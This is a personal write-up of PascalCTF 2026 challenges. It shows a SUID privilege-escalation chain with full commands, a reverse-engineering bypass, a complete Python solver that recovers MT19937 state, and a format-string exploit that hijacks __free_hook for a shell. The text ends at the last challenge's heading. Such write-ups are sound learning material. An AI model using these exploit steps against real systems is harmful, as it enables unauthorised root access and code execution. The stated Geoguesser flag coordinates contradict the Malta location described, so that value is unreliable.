PascalCTF 2026 — Writeups/Walkthrough
PascalCTF 2026 event lasted from January 31st-February 1st 2026
Competed Solo asjackp0t_4real and finished 66th of 855 teams (top ~7%)


As for each CTF writeups I do, I will cherry pick some of my favorite and most difficult challenges I’ve came across, per respective category.
I’ve written solutions for the following challenges:
- [Pwn] — “Grande Inutile Tool”
- [Misc] — “Geoguesser”
- [Reverse] — “Albo delle Eccellenze”
- [Crypto] — “wordy”
- [Pwn] — “YetAnotherNoteTaker”
- [Pwn] — “Malta Nightlife”
[Pwn] — “Grande Inutile Tool”
“Many friends of mine hate git, so I made a git-like tool for them.
The flag can be found at /flag.
You can get a user here: https://git-service.ctf.pascalctf.it
ssh <user>@git.ctf.pascalctf.it -p2222"
Objective is get contents of /flag. The file is readable only by root, so a privilege boundary must be crossed. In this challenge, that boundary is a custom git-like binary, mygit, installed with the SUID bit set (executing as root).
Reconnaissance: verifying the target and locating the primitive
The target file exists and is root-only:
$ ls -la /flag
-r-------- 1 root root 45 Jan 31 22:09 /flagA search for SUID binaries reveals the intended attack surface, /usr/bin/mygit, and permissions confirm it runs as root:
$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/mygit
$ ls -la /usr/bin/mygit
-rwsr-xr-x 1 root root 54632 Jan 30 09:47 /usr/bin/mygitRelevant reversing notes: what matters in the binary
Static inspection shows the binary is not stripped and exposes descriptive symbols such as object_read, commit_create, commit_read, branch_checkout, and file_write. Likely exploit path was to the object store and checkout pipeline.
2 behaviors are exploitable:
1) Object store path logic is symlink-blind
object_read() reads objects from a path shaped like:
.mygit/objects/<hash>The path construction does not enforce realpath resolution or defend against symlink redirection. If .mygit/objects is replaced with a symlink to /, then object_read("flag") resolves to reading /flag.
2) Commit messages allow newline injection into commit formatting
commit_create() incorporates the user given-m message into the commit body without sanitizing newline characters. Enables injection of additional lines into the commit content.
This becomes critical because checkout parsing expects a file list of the form:
files <N>
<hash> <path>
During checkout, the code path effectively becomes:
object_read(hash) → buffer
file_write(path, buffer) → writes into the working tree as root
Forged commit declares a file entry like flag out/flag will cause checkout to read the object named flag and write its content into out/flag.
Exploit plan: 2 weaknesses into a “root copy primitive”
This is a 2-bug composition:
Symlink redirection: point .mygit/objects → / so object reads can target root filesystem paths like /flag.
Newline injection: craft a commit body that declares a file list mapping flag to a writable destination such as out/flag, so checkout performs the privileged write.
The combined effect is an unintended “copy /flag to a user-readable file” operation executed under SUID root.
Execution: full steps on the target system
- Create a minimal repository layout and symlink the object store to
/
$ rm -rf /home/yn1X1cNBxNcd/evilrepo
$ mkdir -p /home/yn1X1cNBxNcd/evilrepo/.mygit/refs/heads \
/home/yn1X1cNBxNcd/evilrepo/.mygit/commits
$ ln -s / /home/yn1X1cNBxNcd/evilrepo/.mygit/objects
$ echo -n 'refs/heads/main' > /home/yn1X1cNBxNcd/evilrepo/.mygit/HEAD
$ : > /home/yn1X1cNBxNcd/evilrepo/.mygit/refs/heads/main
$ : > /home/yn1X1cNBxNcd/evilrepo/.mygit/index
$ cd /home/yn1X1cNBxNcd/evilrepo
$ mkdir -p out2. Stage dummy file
$ echo 'DUMMY' > dummy
$ mygit add dummy
Added 'dummy'3. Commit w/ newline injection to forge the checkout file list
$ mygit commit -m $'X\nfiles 1\nflag out/flag'The resulting commit includes the injected lines:
[main] X
files 1
flag out/flag4. Checkout to trigger the privileged read and write
$ mygit checkout main
Switched to branch 'main'At checkout time, object_read("flag") resolves to /flag due to the symlinked object store, and file_write("out/flag") writes the content into the working directory.
5) Read exfiltrated flag
$ cat out/flag
pascalCTF{m4ny_fr13nds_0f_m1n3_h4t3_git_btw}[Misc] — “Geoguesser”
“Alan Spendaccione accumulated so much debts that he travelled far away to escape Fabio Mafioso, join the mafia and help Fabio catch Alan!
The flag format is pascalCTF{YY.YY,XX.XX} where Y=latitude and X=longitude, round the numbers down.”
This is more of a OSINT challenge, but for some people it’s difficult, and for some it’s not, but I thought I may include it anyway.
For this challenge, we are provided a challenge.png file, which shows presumably Alan in the picture, and it asks to geolocate where this photo is taken at.

In the background, you can see a logo for a company of some sort in the background, this was a easy start to go off. Secondly most of the CTF creators of the PascalCTF are from most likely from Southern Europe ( Mediterranean) based on some several details. There was even a pwn challenge named “Malta Nightlife” which was certainly a clue. Last but not least UK-style double yellow no-parking lines + STOP road marking and architecture that strongly resembles Malta.
I did image reverse search, and attempted to locate this company in question that’s behind him

It took a while but I found out the name of this company was “Sedalicious Beauty” and the logo matched exactly as the one in the challenge image.
With that information as well, there was only one location (55 Triq Il-Qasam, Is-Swieqi SWQ 3027, Malta), which narrowed down search.
Google Maps Street Viewer confirms the exact place of this challenge.png, however it should be noted that Sedalicious Beauty did not exist in the background as of last Google’s street viewer images (Jul 2022), but the street signs were enough to confirm the geolocation of where photo was taken, so therefore the flag for this challenge was:
pascalCTF{35.92,49.14}[Reverse] — “Albo delle Eccellenze”
“One of our former Blaisone CTF Team members 🚩 has just earned a medal in the Cyberchallenge.IT contest 🥳.
He’s now wondering whether he also received a prize 🏆, could you help him find out?”
The goal is to reverse the binary and retrieve the remote flag from:
nc albo.ctf.pascalctf.it 7004Environment and first observations
Workdir layout and binary properties:
$ ls -la
total 12
drwxrwxr-x 3 williamkight williamkight 4096 Jan 31 11:37 .
drwxrwxr-x 3 williamkight williamkight 4096 Jan 31 11:37 ..
drwxrwxr-x 2 williamkight williamkight 4096 Jan 31 11:37 bin
$ file bin/albo
bin/albo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=b507905c69e8663dce82ccdbb15a8c58873550f8, for GNU/Linux 3.2.0, stripped, too many notes (256)A quick strings pass reveals the full prompt flow and the success/failure messages:
$ strings -n 5 bin/albo | rg -i "Welcome|Enter|Code matched|Here is the flag|Code did not match|Could not open flag|Albo delle Eccellenze|PascalCTF"
Argentera
Could not open flag file
Welcome into the latest version of
Albo delle Eccellenze
(PascalCTF Beginners 2026)
Enter your name:
Enter your surname:
Enter your date of birth (DD/MM/YYYY):
Enter your sex (M/F):
Enter your place of birth:
Code matched!
Here is the flag: %s
Code did not match. Your code is: %sLocal execution immediately attempts to open a file named flag and fails (as expected without the remote environment):
$ printf 'a\nb\n01/01/2000\nM\nX\n' | ./bin/albo
Welcome into the latest version of
Albo delle Eccellenze
(PascalCTF Beginners 2026)
Enter your name: Enter your surname: Enter your date of birth (DD/MM/YYYY): Enter your sex (M/F): Enter your place of birth: Could not open flag file: No such file or directoryReverse highlights: the check is inverted
Hardcoded constant in .rodata:
$ r2 -A -q -e scr.color=false -c 'iz~A11D' bin/albo
15790 0x0010bcf0 0x0050bcf0 16 17 .rodata ascii A11D612LPSCBLS37The code-checking function compares an input buffer against that constant. On match (strcmp == 0), eax becomes 1, otherwise 0:
$ r2 -A -q -e scr.color=false -c 's 0x4024c1; pd 12' bin/albo
0x004024c1 488b45e8 mov rax, qword [var_18h]
0x004024c5 bef0bc5000 mov esi, str.A11D612LPSCBLS37 ; 0x50bcf0 ; "A11D612LPSCBLS37"
0x004024ca 4889c7 mov rdi, rax
0x004024cd e85edeffff call fcn.00400330
0x004024d2 85c0 test eax, eax
0x004024d4 7407 je 0x4024dd
0x004024d6 b800000000 mov eax, 0
0x004024db eb05 jmp 0x4024e2
0x004024dd b801000000 mov eax, 1
0x004024e2 c9 leave
0x004024e3 c3 retIn main, that return value is flipped with xor eax, 1 before branching:
$ r2 -A -q -e scr.color=false -c 's 0x4026ed; pd 16' bin/albo
0x004026ed e8f9fcffff call fcn.004023eb
0x004026f2 83f001 xor eax, 1
0x004026f5 84c0 test al, al
0x004026f7 742e je 0x402727
0x004026f9 488d45b0 lea rax, [rbp - 0x50]
0x004026fd 4889c7 mov rdi, rax
0x00402700 e80cfcffff call fcn.00402311
0x00402705 bf14be5000 mov edi, str.Code_matched_ ; 0x50be14 ; "Code matched!"Net effect:
- A match is treated as failure.
- A mismatch is treated as success.
This inversion explains why local execution reaches the flag-read path for essentially arbitrary input
Flag reader routine
The flag reader simply opens "flag" and exits if open fails:
$ r2 -A -q -e scr.color=false -c 's 0x40231d; pd 12' bin/albo
0x0040231d bec5bc5000 mov esi, 0x50bcc5 ; "r"
0x00402322 bfc7bc5000 mov edi, str.flag ; 0x50bcc7 ; "flag"
0x00402327 e8c4390100 call fcn.00415cf0
0x0040232c 488945f8 mov qword [var_8h], rax
0x00402330 48837df800 cmp qword [var_8h], 0
0x00402335 7514 jne 0x40234b
0x00402337 bfccbc5000 mov edi, str.Could_not_open_flag_file ; 0x50bccc ; "Could not open flag file"Exploit strategy and remote solve
Since the success condition is inverted, any input is accepted. Remote includes the flag file, so the output path reveals it.
$ printf 'a\nb\n01/01/2000\nM\nX\n' | nc albo.ctf.pascalctf.it 7004
Welcome into the latest version of
Albo delle Eccellenze
(PascalCTF Beginners 2026)
Enter your name: Enter your surname: Enter your date of birth (DD/MM/YYYY): Enter your sex (M/F): Enter your place of birth: Code matched!
Here is the flag: pascalCTF{g00d_luck_g3tt1ng_your_pr1zes_n0w}Flag:
pascalCTF{g00d_luck_g3tt1ng_your_pr1zes_n0w}[Crypto] — “wordy”
“Bored in class? Try this cryptic Wordle twist and crack the next word! 🧩🔐”
This is Wordle-like service where each round’s secret word is generated from MT19937. Only the low 20 bits of each MT output are leaked (the word index), but enough rounds allow full internal-state recovery with linear algebra over GF(2), enabling prediction of future words. After 5 correct predictions, the service prints the flag.
Challenge behavior: where the entropy leaks
Service parameters:
- Alphabet size: 16 (
a..p) - Word length: 5
- Total words: 16⁵=20²⁰
Each NEW round effectively does:
out = MT.next_u32()idx = out & ((1<<20)-1)secret = index_to_word(idx)
GUESS returns Wordle feedback. Only exact position hits (G) matter for extraction. FINAL does not validate the current round’s secret. It draws the next MT output and expects that word, requiring 5 consecutive correct FINAL predictions.
Turning Wordle feedback into 20-bit outputs
The small alphabet makes full word recovery trivial per round:
- Send
NEW - Submit 16 repeated-letter guesses:
aaaaa,bbbbb, …,ppppp - For each position
i, the guess that returnsGatiis the correct letter - Convert the recovered word into its base-16 index (the leaked 20 bits)
- writeup
It will produce one 20-bit MT fragment per round.
State recovery: linear algebra over GF(2)
MT19937 has 624 x 32=19968 internal state bits. With only 20 leaked bits per round, the theoretical minimum is:
19968 / 20 = 998.4 rounds
In practice, additional rounds are needed to reach full rank in the equation system. 1300 rounds were used.
The reason this works: MT’s output pipeline is linear over GF(2) when modeled bitwise. Each observed output bit becomes one linear equation in the unknown state bits. With 1300 rounds, 1300 x 20 = 26000 equations are gathered and solved with Gaussian elimination over GF(2).
Implementation notes (what matters, not every detail)
High-level solver structure:
- Parse service commands
- For each round:
NEW→ 16 guesses → 16FEEDBACKlines → exact word → 20-bit index - Symbolically simulate MT tempering to express each output bit as a linear mask
- Build a GF(2) basis and solve for all 19968 state bits
- Recreate MT state, advance past collected outputs, then predict the next 5
FINALwords
2 fixes are seen because they break correctness silently if missed:
- Twisting must use a separate “old” state array (no in-place overwrite during twist).
- Basis pivots are stored on the highest set bit; solving must walk low-to-high to avoid incorrect assignments.
Validation (when I tested)
Local test:
$ python3 solve.py --local
OK ibdgf 1/5
OK fnnkk 2/5
OK cclia 3/5
OK edgpc 4/5
OK chdmn NoneRemote run:
$ python3 solve.py --verbose
OK dlief 1/5
OK gnpej 2/5
OK heicf 3/5
OK cjpib 4/5
OK aeidh pascalCTF{Y0ur_l1k3_a_3ncycl0p3d14_0f_r4nd0m_w0rds!}
[+] rounds: 50
[+] rounds: 100
[+] rounds: 150
[+] rounds: 200
[+] rounds: 250
[+] rounds: 300
[+] rounds: 350
[+] rounds: 400
[+] rounds: 450
[+] rounds: 500
[+] rounds: 550
[+] rounds: 600
[+] rounds: 650
[+] rounds: 700
[+] rounds: 750
[+] rounds: 800
[+] rounds: 850
[+] rounds: 900
[+] rounds: 950
[+] rounds: 1000
[+] rounds: 1050
[+] rounds: 1100
[+] rounds: 1150
[+] rounds: 1200
[+] rounds: 1250
[+] rounds: 1300Flag
pascalCTF{Y0ur_l1k3_a_3ncycl0p3d14_0f_r4nd0m_w0rds!}Full Solver Script:
#!/usr/bin/env python3
import argparse
import io
import socket
import subprocess
import sys
ALPHABET = "abcdefghijklmnop"
K = len(ALPHABET)
L = 5
N = 624
WORD_BITS = 32
STATE_BITS = N * WORD_BITS
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7FFFFFFF
MATRIX_A = 0x9908B0DF
M = 397
MASK_20 = (1 << 20) - 1
A_BITS = [i for i in range(32) if (MATRIX_A >> i) & 1]
def index_to_word(idx: int) -> str:
if not (0 <= idx < (K ** L)):
raise ValueError("index out of range")
digits = []
x = idx
for _ in range(L):
digits.append(x % K)
x //= K
letters = [ALPHABET[d] for d in reversed(digits)]
return "".join(letters)
def word_to_index(word: str) -> int:
if len(word) != L:
raise ValueError("bad length")
x = 0
for ch in word:
d = ALPHABET.find(ch)
if d < 0:
raise ValueError("bad letter")
x = x * K + d
return x
class LineIO:
def __init__(self, r, w):
self.r = r
self.w = w
def send(self, line: str) -> None:
self.w.write(line + "\n")
self.w.flush()
def send_many(self, lines) -> None:
for line in lines:
self.w.write(line + "\n")
self.w.flush()
def recv(self) -> str:
line = self.r.readline()
if line == "":
raise EOFError("connection closed")
return line.strip()
class MT19937:
def __init__(self, state, index=0):
self.mt = state[:]
self.index = index
def twist(self):
old = self.mt[:]
for i in range(N):
y = (old[i] & UPPER_MASK) | (old[(i + 1) % N] & LOWER_MASK)
self.mt[i] = (old[(i + M) % N] ^ (y >> 1) ^ (MATRIX_A if (y & 1) else 0)) & 0xFFFFFFFF
self.index = 0
def next_u32(self) -> int:
if self.index >= N:
self.twist()
y = self.mt[self.index]
self.index += 1
y ^= (y >> 11)
y ^= ((y << 7) & 0x9D2C5680)
y ^= ((y << 15) & 0xEFC60000)
y ^= (y >> 18)
return y & 0xFFFFFFFF
def sym_xor(a, b):
return [a[i] ^ b[i] for i in range(WORD_BITS)]
def sym_rshift(a, n):
res = [0] * WORD_BITS
for i in range(WORD_BITS - n):
res[i] = a[i + n]
return res
def sym_lshift(a, n):
res = [0] * WORD_BITS
for i in range(n, WORD_BITS):
res[i] = a[i - n]
return res
def sym_and_mask(a, mask):
res = [0] * WORD_BITS
for i in range(WORD_BITS):
if (mask >> i) & 1:
res[i] = a[i]
return res
def temper_symbolic(w):
y = w
y = sym_xor(y, sym_rshift(y, 11))
y = sym_xor(y, sym_and_mask(sym_lshift(y, 7), 0x9D2C5680))
y = sym_xor(y, sym_and_mask(sym_lshift(y, 15), 0xEFC60000))
y = sym_xor(y, sym_rshift(y, 18))
return y
def twist_symbolic(state):
new = [None] * N
for i in range(N):
y = [0] * WORD_BITS
y[31] = state[i][31]
nxt = state[(i + 1) % N]
for b in range(31):
y[b] = nxt[b]
y_shift = sym_rshift(y, 1)
y0 = y[0]
if y0:
for b in A_BITS:
y_shift[b] ^= y0
new[i] = sym_xor(state[(i + M) % N], y_shift)
return new
def build_equations(outputs):
state = [[1 << (i * WORD_BITS + b) for b in range(WORD_BITS)] for i in range(N)]
index = 0
basis = [0] * STATE_BITS
basis_rhs = [0] * STATE_BITS
rank = 0
def add_eq(mask, rhs):
nonlocal rank
m = mask
r = rhs
while m:
p = m.bit_length() - 1
if basis[p] == 0:
basis[p] = m
basis_rhs[p] = r
rank += 1
return
m ^= basis[p]
r ^= basis_rhs[p]
if r != 0:
raise ValueError("inconsistent equation set")
for val in outputs:
if index >= N:
state = twist_symbolic(state)
index = 0
word = temper_symbolic(state[index])
index += 1
for b in range(20):
add_eq(word[b], (val >> b) & 1)
if rank == STATE_BITS:
return basis, basis_rhs, rank
return basis, basis_rhs, rank
def solve_equations(basis, basis_rhs):
sol_bits = 0
# Pivots are stored on the highest set bit, so solve from low to high.
for i in range(STATE_BITS):
if basis[i] == 0:
continue
parity = (basis[i] & sol_bits).bit_count() & 1
bit = basis_rhs[i] ^ parity
if bit:
sol_bits |= 1 << i
return sol_bits
def bits_to_state(sol_bits):
state = [0] * N
for w in range(N):
word = 0
base = w * WORD_BITS
for b in range(WORD_BITS):
if (sol_bits >> (base + b)) & 1:
word |= 1 << b
state[w] = word & 0xFFFFFFFF
return state
def read_until_ready(ioh):
while True:
line = ioh.recv()
if line == "READY":
return
def send_guesses(ioh):
for ch in ALPHABET:
ioh.send("GUESS " + ch * L)
def read_secret_from_feedbacks(ioh):
secret = ["?"] * L
unknown = set(range(L))
for ch in ALPHABET:
resp = ioh.recv()
if not resp.startswith("FEEDBACK "):
raise ValueError("unexpected response: %r" % resp)
patt = resp.split()[1]
for i, c in enumerate(patt):
if c == "G":
secret[i] = ch
if i in unknown:
unknown.remove(i)
if "?" in secret:
raise ValueError("secret not fully recovered")
return "".join(secret)
def collect_outputs_incremental(ioh, rounds, verbose=False):
outputs = []
for r in range(rounds):
ioh.send("NEW")
# Send guesses immediately to avoid waiting for the ROUND STARTED RTT.
send_guesses(ioh)
resp = ioh.recv()
if resp != "ROUND STARTED":
raise ValueError("unexpected response: %r" % resp)
secret = read_secret_from_feedbacks(ioh)
outputs.append(word_to_index(secret))
if verbose and (r + 1) % 50 == 0:
print(f"[+] rounds: {r + 1}", file=sys.stderr)
return outputs
def collect_outputs_bulk(ioh, rounds, verbose=False):
outputs = []
lines = []
for _ in range(rounds):
lines.append("NEW")
for ch in ALPHABET:
lines.append("GUESS " + ch * L)
ioh.send_many(lines)
for r in range(rounds):
resp = ioh.recv()
if resp != "ROUND STARTED":
raise ValueError("unexpected response: %r" % resp)
secret = read_secret_from_feedbacks(ioh)
outputs.append(word_to_index(secret))
if verbose and (r + 1) % 50 == 0:
print(f"[+] rounds: {r + 1}", file=sys.stderr)
return outputs
def connect_remote(host, port):
sock = socket.create_connection((host, port))
f = sock.makefile("rwb", buffering=0)
r = io.TextIOWrapper(f, encoding="ascii", newline="\n")
w = r
return LineIO(r, w)
def connect_local():
p = subprocess.Popen(
[sys.executable, "service.py"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
bufsize=1,
)
return LineIO(p.stdout, p.stdin)
def main():
parser = argparse.ArgumentParser(description="Solve PascalCTF Wordy")
parser.add_argument("--host", default="wordy.ctf.pascalctf.it")
parser.add_argument("--port", default=5005, type=int)
parser.add_argument("--rounds", default=1300, type=int)
parser.add_argument("--local", action="store_true")
parser.add_argument("--verbose", action="store_true")
args = parser.parse_args()
ioh = connect_local() if args.local else connect_remote(args.host, args.port)
read_until_ready(ioh)
if args.local:
outputs = collect_outputs_incremental(ioh, args.rounds, verbose=args.verbose)
else:
outputs = collect_outputs_bulk(ioh, args.rounds, verbose=args.verbose)
basis, basis_rhs, rank = build_equations(outputs)
if rank < STATE_BITS:
raise SystemExit(f"rank {rank} < {STATE_BITS}; collect more rounds")
sol_bits = solve_equations(basis, basis_rhs)
state = bits_to_state(sol_bits)
rng = MT19937(state, index=0)
for _ in range(len(outputs)):
rng.next_u32()
for _ in range(5):
out = rng.next_u32()
idx = out & MASK_20
word = index_to_word(idx)
ioh.send("FINAL " + word)
resp = ioh.recv()
print(resp)
if __name__ == "__main__":
main()[Pwn] — “YetAnotherNoteTaker”
“I’ve read too many notes recently, I can’t take it anymore…”
Binary prints the note with printf(note), so it’s a format string vulnerability. I used it to leak read@GOT, computed the libc base (provided glibc 2.23), then overwrote __free_hook with system using %hn writes. I triggered free("/bin/sh") by entering /bin/sh as the menu choice, giving a shell and the flag.
Environment and Files
- Binary:
notetaker/challenge/notetaker(ELF64, non-PIE) - Provided libc:
notetaker/challenge/libs/libc.so.6(glibc 2.23) - Remote:
nc notetaker.ctf.pascalctf.it 9002
Initial Recon
Running the program shows a simple menu:
- Read note
- Write note
- Clear note
- Exit

Disassembly of main shows:
- A
0x100-byte stack buffer for the note - “Write note” uses
read(0, buf, 0x100)then NUL-terminates - “Read note” does
printf(buf)directly
That printf(buf) is the key bug. The note becomes a format string.
Protections (That were seen):
- NX enabled (GNU_STACK is RW, not RWX)
- Full RELRO (BIND_NOW), so no direct GOT overwrite
- Non PIE binary (fixed
.text|.gotaddresses)
Format String
Because the note is used directly as the format string, I can:
- leak memory (to defeat ASLR for libc)
- write memory using
%n|%hn|%hhn
Plan is to leak libc -> write libc hook
Finding the Stack Argument Index
I needed the argument index that maps back into bytes I control inside the note buffer. I printed many %p until I saw my data, then used positional specifiers to make it reliable.
Test methods:
- Insert a known 8-byte marker after 64 bytes
- Print
%16$p
ARG16:0x4142434445464748:ENDIt shows that:
- argument 16 corresponds to bytes at offset 64 in the note buffer
- argument 15 corresponds to bytes at offset 56
Leak read@GOT to Compute libc Base
Goal: leak read@GOT, then back out libc_base. Since the binary is non-PIE, the GOT address is fixed:
read@GOT = 0x601fc8
Payload:
- format string:
"LEAK:%16$s:END" + NUL - pad to 64 bytes
- place the 8-byte address
0x601fc8at offset 64 (so it becomes arg16)
Then printf treats arg16 as a pointer and prints bytes until a NUL.
LEAK:Ps\xaf\xcc)y:ENDThose bytes are the little-endian address of read() in libc (as read@libc = 0x??????f7350)
Glibc 2.23 offsets:
readoffset =0x0f7350systemoffset =0x0453a0__free_hook=0x3c67a8
libc_base = read_addr - 0x0f7350
system = libc_base + 0x0453a0
__free_hook = libc_base + 0x3c67a8Overwrite _free_hook w/ system
Full RELRO prevents GOT overwrites, so the target is __free_hook in libc. If __free_hook = system, then any free(ptr) becomes system(ptr).
Writing 6 low bytes of system() into __free_hook using %hn (2-byte writes), as 3 halfwords:
(__free_hook + 0)
(__free_hook + 2)
(__free_hook + 4)To avoid the “%c expects int, but I’m passing a pointer” crash, I used a dummy padding arg:
- arg15 (offset 56): benign integer
0x4141414141414141 - arg16/17/18: the three target addresses
%15$<pad1>c%16$hn%15$<pad2>c%17$hn%15$<pad3>c%18$hnPads are computed to reach each halfword value in ascending order modulo 0x10000
Turn free(“/bin/sh”) into system(“/bin/sh”)
Menu option “Write note” ends with free() on a heap buffer that stores the menu input line. After __free_hook is set, typing /bin/sh at the menu prompt causes:
free(“/bin/sh”) → system(“/bin/sh”)
which gives shell
uid=1001(user) gid=1001(user) groups=1001(user)
chall
flag
libs
pascalCTF{d1d_y0u_fr_h00k3d_th3_h3ap?}Flag:
pascalCTF{d1d_y0u_fr_h00k3d_th3_h3ap?}[Pwn] — “Malta Nightlife”
“You’ve never seen drinks this cheap in Malta, come join the fun! 🍹”